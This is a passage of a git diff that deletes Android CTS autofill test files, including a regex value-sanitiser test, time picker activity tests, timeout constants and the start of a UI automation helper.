-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
-    }
-
-    private void saveUiRestoredAfterTappingSpanTest(
-            DescriptionType type, ViewActionActivity.ActivityCustomAction action) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        switch (type) {
-            case SUCCINCT:
-                // Set expectations with custom description.
-                sReplier.addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .setSaveDescription(newDescriptionWithUrlSpan(action.toString()))
-                        .build());
-                break;
-            case CUSTOM:
-                // Set expectations with custom description.
-                sReplier.addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .setSaveInfoVisitor((contexts, builder) -> builder
-                                .setCustomDescription(
-                                        newCustomDescriptionWithUrlSpan(action.toString())))
-                        .build());
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        // Waits for the commit be processed
-        mUiBot.waitForIdle();
-
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Tapping URLSpan.
-        final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
-        // Waits for the save UI hided
-        mUiBot.waitForIdle();
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // .. check activity show up as expected
-        switch (action) {
-            case FAST_FORWARD_ANOTHER_ACTIVITY:
-                // Show up second activity.
-                SecondActivity.assertShowingDefaultMessage(mUiBot);
-                break;
-            case NORMAL_ACTIVITY:
-            case TAP_BACK_WITHOUT_FINISH:
-                // Show up view action handle activity.
-                ViewActionActivity.assertShowingDefaultMessage(mUiBot);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-
-        // ..then go back and save it.
-        mUiBot.pressBack();
-        // Waits for all UI processes to complete
-        mUiBot.waitForIdle();
-
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // ... and tap save.
-        final UiObject2 newSaveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(newSaveUi, /* yesDoIt= */ true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-
-        SecondActivity.finishIt();
-        ViewActionActivity.finishIt();
-    }
-
-    private CustomDescription newCustomDescriptionWithUrlSpan(String action) {
-        final RemoteViews presentation = newTemplate();
-        presentation.setTextViewText(R.id.custom_text, newDescriptionWithUrlSpan(action));
-        return new CustomDescription.Builder(presentation).build();
-    }
-
-    private CharSequence newDescriptionWithUrlSpan(String action) {
-        final String url = "autofillcts:" + action;
-        final SpannableString ss = new SpannableString("Here is URLSpan");
-        ss.setSpan(new URLSpan(url),
-                /* start= */ 8,  /* end= */ 15, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
-        return ss;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
deleted file mode 100644
index dbe072c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.TextValueSanitizer;
-import android.view.autofill.AutofillValue;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class TextValueSanitizerTest {
-
-    @Test
-    public void testConstructor_nullValues() {
-        assertThrows(NullPointerException.class,
-                () -> new TextValueSanitizer(Pattern.compile("42"), null));
-        assertThrows(NullPointerException.class,
-                () -> new TextValueSanitizer(null, "42"));
-    }
-
-    @Test
-    public void testSanitize_nullValue() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
-        assertThat(sanitizer.sanitize(null)).isNull();
-    }
-
-    @Test
-    public void testSanitize_nonTextValue() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
-        final AutofillValue value = AutofillValue.forToggle(true);
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_badRegex() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
-                "$2"); // invalid group
-        final AutofillValue value = AutofillValue.forText("blah 42  blaH");
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_valueMismatch() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
-        final AutofillValue value = AutofillValue.forText("43");
-        assertThat(sanitizer.sanitize(value)).isNull();
-    }
-
-    @Test
-    public void testSanitize_simpleMatch() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
-                "forty-two");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
-            .isEqualTo("forty-two");
-    }
-
-    @Test
-    public void testSanitize_multipleMatches() {
-        final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
-                "Number");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42  blaH")).getTextValue())
-            .isEqualTo("NumberNumber");
-    }
-
-    @Test
-    public void testSanitize_groupSubstitutionMatch() {
-        final TextValueSanitizer sanitizer =
-                new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("  42 ")).getTextValue())
-                .isEqualTo("42");
-    }
-
-    @Test
-    public void testSanitize_groupSubstitutionMatch_withOptionalGroup() {
-        final TextValueSanitizer sanitizer =
-                new TextValueSanitizer(Pattern.compile("(\\d*)\\s?(\\d*)?"), "$1$2");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42 108")).getTextValue())
-                .isEqualTo("42108");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42108")).getTextValue())
-                .isEqualTo("42108");
-        assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
-                .isEqualTo("42");
-        final TextValueSanitizer ccSanitizer = new TextValueSanitizer(Pattern.compile(
-                "^(\\d{4,5})-?\\s?(\\d{4,6})-?\\s?(\\d{4,5})" // first 3 are required
-                        + "-?\\s?((?:\\d{4,5})?)-?\\s?((?:\\d{3,5})?)$"), // last 2 are optional
-                "$1$2$3$4$5");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333 4444 5555")).getTextValue())
-                        .isEqualTo("11112222333344445555");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333-44444-55555")).getTextValue())
-                        .isEqualTo("11111222222333334444455555");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333 4444")).getTextValue())
-                        .isEqualTo("1111222233334444");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333-44444-")).getTextValue())
-                        .isEqualTo("111112222223333344444");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("1111 2222 3333")).getTextValue())
-                        .isEqualTo("111122223333");
-        assertThat(ccSanitizer.sanitize(AutofillValue
-                .forText("11111-222222-33333 ")).getTextValue())
-                        .isEqualTo("1111122222233333");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
deleted file mode 100644
index 82c4ae9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class TimePickerClockActivity extends AbstractTimePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.time_picker_clock_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
deleted file mode 100644
index f07d994..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<TimePickerClockActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TimePickerClockActivity>(
-                TimePickerClockActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
deleted file mode 100644
index 0774e51..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class TimePickerSpinnerActivity extends AbstractTimePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.time_picker_spinner_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
deleted file mode 100644
index 9245387..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<TimePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<TimePickerSpinnerActivity>(
-                TimePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
deleted file mode 100644
index 480cf13..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTimeValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.icu.util.Calendar;
-
-import org.junit.Test;
-
-/**
- * Base class for {@link AbstractTimePickerActivity} tests.
- */
-abstract class TimePickerTestCase<A extends AbstractTimePickerActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutoFillAndSave() throws Exception {
-        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.HOUR_OF_DAY, 4);
-        cal.set(Calendar.MINUTE, 20);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setPresentation(createPresentation("Adventure Time"))
-                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
-                    .setField(ID_TIME_PICKER, cal.getTimeInMillis())
-                    .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_TIME_PICKER)
-                .build());
-
-        mActivity.expectAutoFill("4:20", 4, 20);
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of TimePicker field.
-        assertTextIsSanitized(fillRequest.structure, ID_TIME_PICKER);
-        assertNumberOfChildren(fillRequest.structure, ID_TIME_PICKER, 0);
-        // Auto-fill it.
-        mUiBot.selectDataset("Adventure Time");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Trigger save.
-        mActivity.setTime(10, 40);
-        mActivity.tapOk();
-
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert sanitization on save: everything should be available!
-        assertTimeValue(findNodeByResourceId(saveRequest.structure, ID_TIME_PICKER), 10, 40);
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "10:40");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
deleted file mode 100644
index a7f5c21..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.Timeout;
-
-/**
- * Timeouts for common tasks.
- */
-public final class Timeouts {
-
-    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 20_000;
-    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 2_000;
-
-    public static final long MOCK_IME_TIMEOUT_MS = 5_000;
-    public static final long DRAWABLE_TIMEOUT_MS = 5_000;
-
-    public static final long LONG_PRESS_MS = 3000;
-    public static final long RESPONSE_DELAY_MS = 1000;
-
-    /**
-     * Timeout until framework binds / unbinds from service.
-     */
-    public static final Timeout CONNECTION_TIMEOUT = new Timeout("CONNECTION_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for {@link MyAutofillCallback#assertNotCalled()} - test will sleep for that amount of
-     * time as there is no callback that be received to assert it's not shown.
-     */
-    static final long CALLBACK_NOT_CALLED_TIMEOUT_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout until framework unbinds from a service.
-     */
-    // TODO: must be higher than RemoteFillService.TIMEOUT_IDLE_BIND_MILLIS, so we should use a
-    // @hidden @Testing constants instead...
-    static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout to get the expected number of fill events.
-     */
-    public static final Timeout FILL_EVENTS_TIMEOUT = new Timeout("FILL_EVENTS_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for expected autofill requests.
-     */
-    static final Timeout FILL_TIMEOUT = new Timeout("FILL_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS,
-            2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for expected save requests.
-     */
-    static final Timeout SAVE_TIMEOUT = new Timeout("SAVE_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS,
-            2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when save is not expected to be shown - test will sleep for that amount of time
-     * as there is no callback that be received to assert it's not shown.
-     */
-    static final long SAVE_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout for UI operations. Typically used by {@link UiBot}.
-     */
-    public static final Timeout UI_TIMEOUT = new Timeout("UI_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for a11y window change events.
-     */
-    static final long WINDOW_CHANGE_TIMEOUT_MS = ONE_TIMEOUT_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout used when an a11y window change events is not expected to be generated - test will
-     * sleep for that amount of time as there is no callback that be received to assert it's not
-     * shown.
-     */
-    static final long WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout for webview operations. Typically used by {@link UiBot}.
-     */
-    // TODO(b/80317628): switch back to ONE_TIMEOUT_TO_RULE_THEN_ALL_MS once fixed...
-    static final Timeout WEBVIEW_TIMEOUT = new Timeout("WEBVIEW_TIMEOUT", 3_000, 2F, 5_000);
-
-    /**
-     * Timeout for showing the autofill dataset picker UI.
-     *
-     * <p>The value is usually higher than {@link #UI_TIMEOUT} because the performance of the
-     * dataset picker UI can be affect by external factors in some low-level devices.
-     *
-     * <p>Typically used by {@link UiBot}.
-     */
-    static final Timeout UI_DATASET_PICKER_TIMEOUT = new Timeout("UI_DATASET_PICKER_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when the dataset picker is not expected to be shown - test will sleep for that
-     * amount of time as there is no callback that be received to assert it's not shown.
-     */
-    public static final long DATASET_PICKER_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    /**
-     * Timeout (in milliseconds) for an activity to be brought out to top.
-     */
-    static final Timeout ACTIVITY_RESURRECTION = new Timeout("ACTIVITY_RESURRECTION",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout for changing the screen orientation.
-     */
-    static final Timeout UI_SCREEN_ORIENTATION_TIMEOUT = new Timeout(
-            "UI_SCREEN_ORIENTATION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    private Timeouts() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
deleted file mode 100644
index 6cdd33e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TrampolineForResultActivity.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity used to launch another activity for result.
- */
-// TODO: move to common code
-public class TrampolineForResultActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "TrampolineForResultActivity";
-
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-
-    private int mExpectedRequestCode;
-    private int mActualRequestCode;
-    private int mActualResultCode;
-
-    /**
-     * Starts an activity for result.
-     */
-    public void startForResult(Intent intent, int requestCode) {
-        mExpectedRequestCode = requestCode;
-        startActivityForResult(intent, requestCode);
-    }
-
-    /**
-     * Asserts the activity launched by {@link #startForResult(Intent, int)} was finished with the
-     * expected result code, or fails if it times out.
-     */
-    public void assertResult(int expectedResultCode) throws Exception {
-        final boolean called = mLatch.await(1000, TimeUnit.MILLISECONDS);
-        assertWithMessage("Result not received in 1s").that(called).isTrue();
-        assertWithMessage("Wrong actual code").that(mActualRequestCode)
-            .isEqualTo(mExpectedRequestCode);
-        assertWithMessage("Wrong result code").that(mActualResultCode)
-                .isEqualTo(expectedResultCode);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", res=" + resultCode);
-        mActualRequestCode = requestCode;
-        mActualResultCode = resultCode;
-        mLatch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
deleted file mode 100644
index dc39808..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * Activity that launches a new {@link WelcomeActivity} and finishes right away.
- */
-public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        startActivity(new Intent(this, WelcomeActivity.class));
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
deleted file mode 100644
index 8f927e9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ /dev/null
@@ -1,1265 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.LONG_PRESS_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_DATASET_PICKER_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_SCREEN_ORIENTATION_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Rect;
-import android.os.SystemClock;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.SearchCondition;
-import android.support.test.uiautomator.StaleObjectException;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
-import android.support.test.uiautomator.Until;
-import android.text.Html;
-import android.text.Spanned;
-import android.text.style.URLSpan;
-import android.util.Log;
-import android.view.View;
-import android.view.WindowInsets;
-import android.view.accessibility.AccessibilityEvent;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityWindowInfo;
-
-import androidx.annotation.NonNull;
